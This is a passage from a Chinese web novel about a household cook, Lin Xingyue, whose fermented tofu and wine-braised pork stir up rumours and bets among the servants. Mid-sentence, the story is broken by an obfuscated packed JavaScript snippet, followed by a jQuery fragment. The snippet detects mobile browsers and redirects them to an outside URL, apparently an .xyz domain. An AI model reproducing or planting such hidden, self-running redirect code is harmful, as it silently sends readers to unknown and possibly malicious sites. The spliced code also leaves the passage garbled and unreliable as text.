辛嫂子尝完觉得好吃,赶紧就把胡娘子叫了进来。 胡娘子一看,不由就乐了起来,“刚才我还在嘀咕,看见那黄婆子和徐勇两个人在吃,也不知道是什么。” 她也学着小王嬷嬷那样,浅浅的夹了一小块子,配着豆粥给喝了。 “还是头一次吃这个味儿,觉得比那些腌菜也不差什么呢。” 董婆子还在别扭,一句话也没有说,只是和松姐儿两个人埋头喝粥。 一口粥一小口豆腐乳,一个人都快把那一小块给吃完了。 小厨房的人都十分有分寸,就算觉得好吃,最多是让林杏月给他们捎带一些出来,倒是没有让她把方子也拿出来的。 胡娘子才说了大小王嬷嬷尝那豆腐乳的事情,这两个人就在小厨房门口探头探脑,说了也要买一些。 林杏月过去,拿了个碗碟儿给他们装了几块,收好的几个铜板就放在腰间。 她带来的罐子里还剩下不少豆腐乳,赵嬷嬷就让她放在小厨房,“你把价说好了,到时候谁过来想买,咱们也替你收着钱。” “对对,你且放心,那钱咱们肯定不会收差的。” 胡娘子是个热心人,还去罐子里数了数有多少块,“到时候就收这么些个铜板。” 林杏月朝她们感激的笑了笑,放在小厨房也不错,有些人不愿意往后街巷她家那边跑,来小厨房吃饭的时候,就能顺道给买了。 小梅和半荟这次打了豆粥之后,没有着急走,她们今天都不着急上差,坐在这里吃还热闹。 看到大小王嬷嬷去买了豆腐乳,两个人一商量,也拿了几个铜板出来。 两个人尝了那豆腐乳的味道,都爱的不行,就打算买上几个放到自个儿的屋子里。 要是哪天差事多,来不及吃饭,随便拿个炊饼就着豆腐乳,再喝个茶末汤对付一顿。 小牛子看到了不知道徐柏和平安愿不愿意吃那豆腐乳,就没掏钱买,只是提着食盒先回去。 徐柏和平安看见他,两个人就回了屋子,打开食盒看到豆粥,就把之前林杏月给他们送的腌菜拿了出来。 小牛子也没着急走,和他们说起来豆腐乳的事情,顺带还提了上午要吃酒焖肉。 平安没吃过酒焖肉,只听着那香味有多勾人,就开始咽唾沫。 徐柏一听这个,想起来上次吃那酒焖肉的味道,赶紧就对小牛子说,“你下半晌一定要早早的去,那酒焖肉可是香得很,十分的下饭,连那汤汁也记得多带些回来。” 平安一听这个,在旁边也着急起来,巴不得现在就到了晌午的时候,好早早的让他尝尝那酒焖肉的味道。 说起晌午的酒焖肉,不单单是他们两个盼着,府里的丫鬟婆子、老汉小厮,聚在一起说话的时候,就都说起来还没吃到嘴的酒焖肉。 “不知道那味道得有多好,我闻着也不像是羊肉,只不知到底是什么做出来的。” “你管那么多做什么,咱们只管吃就成,就算是那什么鸡肉鸭肉,味道好不就成。” “我总觉得不是那鸡肉鸭肉,董顺家那样抠搜,可是好久都没让咱们吃过像样的肉了。” 一说这个,有人神色就不好起来,犹犹豫豫的说,“会不会是那贱肉啊?” “怎么可能是那贱肉!我早之前可是买过的,价是便宜得很,可吃到嘴里一股腥骚味,最后全都给扔了。” “我听说外头如今已经有卖猪肉的,腥臊味小了不少,买的人也多了起来。” “那也是贱肉!要是小厨房真做了这肉出来,甭管多香,我绝不吃一口!” 喂马的凌二黑说完,其他人就开始在旁边喝倒彩,还有的要下注,赌凌二黑到时候吃不吃。 这些个喂马的,平日里差事也不重,挣的月钱就没有那些车夫多——他们出去一趟,可都有主子给的打赏。 平日里三三两两聚在一块,不是喝酒就是赌钱,没个正经事。 凌二黑见他们下了注,自个也拿了三个铜板出来,押自个儿绝对不会吃。 “你们先等着吧,今儿这钱我定是挣着了。” 大多数人觉得赌主在这里,说了不会吃应当不会差,跟着他压的不少。 有一个小子叫小六,才来这里喂马不久,他拿出来十个铜板,全压了凌二黑到时候会吃。 “你们吃了那月姐儿这么多天的饭,还不信她的手艺,光早上闻闻那味道,就馋得我口水都流出来了,到时候二黑哥肯定吃。” 凌二黑梗着脖子,“你别在这里胡咧咧,贱肉能有什么好吃的,我才不会吃。” 本来不少人都期待着小厨房晌午做的那饭食,可不知道从哪里传出来用的是贱肉做的,好些个人听了,虽然没有凌二黑态度那样激进,但也都十分的失望。 董顺家的在大厨房里翘着脚,指挥着其他丫鬟婆子干活,一边和一个相熟的婆子说着话。 “那消息就是我放出去的,一个小厨房的一个厨娘,天天狂得和什么似的,让背后那么多人总骂我,真是不知天高地厚。” 董顺家的不能把林杏月如何,可是却能让他们吃个暗亏,“我倒是要看看,她手艺再好,能把那贱肉做出什么味儿来!” 在园子里挖竹笋的冯大娘和元婆子她们也听说了这事,本来大家伙知道中午要做好吃的,冯大娘还把那酒焖肉形容的天上有地上无的,早就把她们的胃口给吊了出来。 元婆子去外头出了个恭,回来就把听说的这事说了出来。 她不信的问,“你说的那酒焖肉,难不成真的是贱肉做出来的?” “别一口一个贱肉。” 冯大娘听了就来气,“这是谁在那里胡咧咧,贱肉就做不出好吃的了?我和你们说,就是因为是猪肉才做出来那好吃的酒焖肉,换了别的都还不行。” 她把林杏月当时和她解释的话说了出来,只是大部分都忘记了,只记得酒焖肉多么多么好吃。 曹婆子和元婆子对冯大娘说的话不怎么信,挖竹笋的动作都慢了下来。 冯大娘看她们这个样子,就在旁边催促起来,“我什么时候骗过你们,是真真好吃,要是不好吃,我把我一个月的月钱都给你们。” 冯大娘没有钱之后,可是抠搜得很,时不时就要蹭他们一些零嘴吃,一听这个,元婆子和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15230527|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曹婆子倒是信了几分。 林金兰可不会这样好好的说话,朱雨知道林杏月的手艺好,这段时间见了她,都没怎么和林金兰吵架。 生怕林杏月一个不高兴,去和林杏月告了状,到时候她去小厨房打饭的时候,也不给她。 只不过今儿听了那什么晌午做的肉是贱肉做的,有点不敢相信,这才来问林金兰。 “哪个黑心肝的鸟人在那里乱说话!”林金兰一点就炸,最是听不得别人说林杏月一点不好。 哪怕朱雨只是问了那贱肉的事情,林金兰也觉得她是在说林杏月的坏话。 骂骂咧咧一通,林金兰才回复,“没错,酒焖肉就是用猪肉做的!定然是大厨房的采买给小厨房使绊子才这样,不过你信我,那酒焖肉可是好吃得很,去的晚了就没有。” 说完还对在一旁不敢说话的扫儿和洒儿说,“你们俩到时候也早点去,不好吃你们回来找我!” 董顺家的以为散布了那猪肉不好吃的事情,去小厨房吃饭的人多少会少一些,说不定还会在背后骂他们。 可冯老汉到的时候,前面已经排了不少人。 黄婆子、大小王嬷嬷、小梅、半荟还有徐勇和他身边一壮汉。 这壮汉算是看管库房的半个管事,和徐勇认识的时间也不短,每次徐勇早早的就下山去小厨房,他也从来没说什么。 只是这个听说了小厨房要做什么肉的事情,他听了好奇,就过来问徐勇。 徐勇也不会说别的,只说酒焖肉好吃得很,“我一个人能吃三碗饭。” 壮汉对徐勇十分的信服,尤其是他的那张嘴,只要他说好吃的,味道就没有差到哪里去。 甭管是什么肉做的,反正那是肉! 他一早就跟着徐勇一块来排队了。 冯老汉唉声叹气,问排在前面的他们,“你们怎么来的这样早,没听府里的那些个话?” 黄婆子翻了个白眼,“你听了那些个话,不照样过来,还埋怨我们来的早。” “就是嘞,咱们来的早,那也是咱们的本事。” 冯老汉说不过他们,只能安安心心的排着队,时不时就往小厨房张望几眼,看看胡娘子什么时候出来。 酒焖肉一直炖在火上,小厨房只留两个人看着就行,剩下的人在吃完早食之后就回了家,自然也听说了那些个传言。 从来到小厨房之后,胡娘子的嘴就没有停过,一直在那里骂这董顺家的。 在小厨房里,只要开口骂董顺家的,绝对会有人附和,松姐儿也忘了和林杏月还闹着的别扭,也在那里跳着脚的骂。 “肯定就是她说的,咱们用了猪肉的事情,可没几个人知道!” 松姐儿瞥了一眼林杏月,使劲吸了吸鼻子间萦绕的香味,别别扭扭的问她,“大家伙可都看着呢,你那酒焖肉到底好吃不好吃?” 她的小心思,林杏月一眼就看破了,倒也没觉得松儿姐有多讨厌,掀开盖子,给她夹了一小块出来。 盖子揭开之后,屋子里的香气更加浓郁几分,大家伙就都看了过来。 酒焖肉炖煮了这么长时间,颜色已经变成了酱褐色,流动着诱人的光泽,让人看了就忍不住流口水。 那边松姐儿已经一口咬了上去,嘴里含糊不清的说,“可不是我要吃的,是你让我吃的。”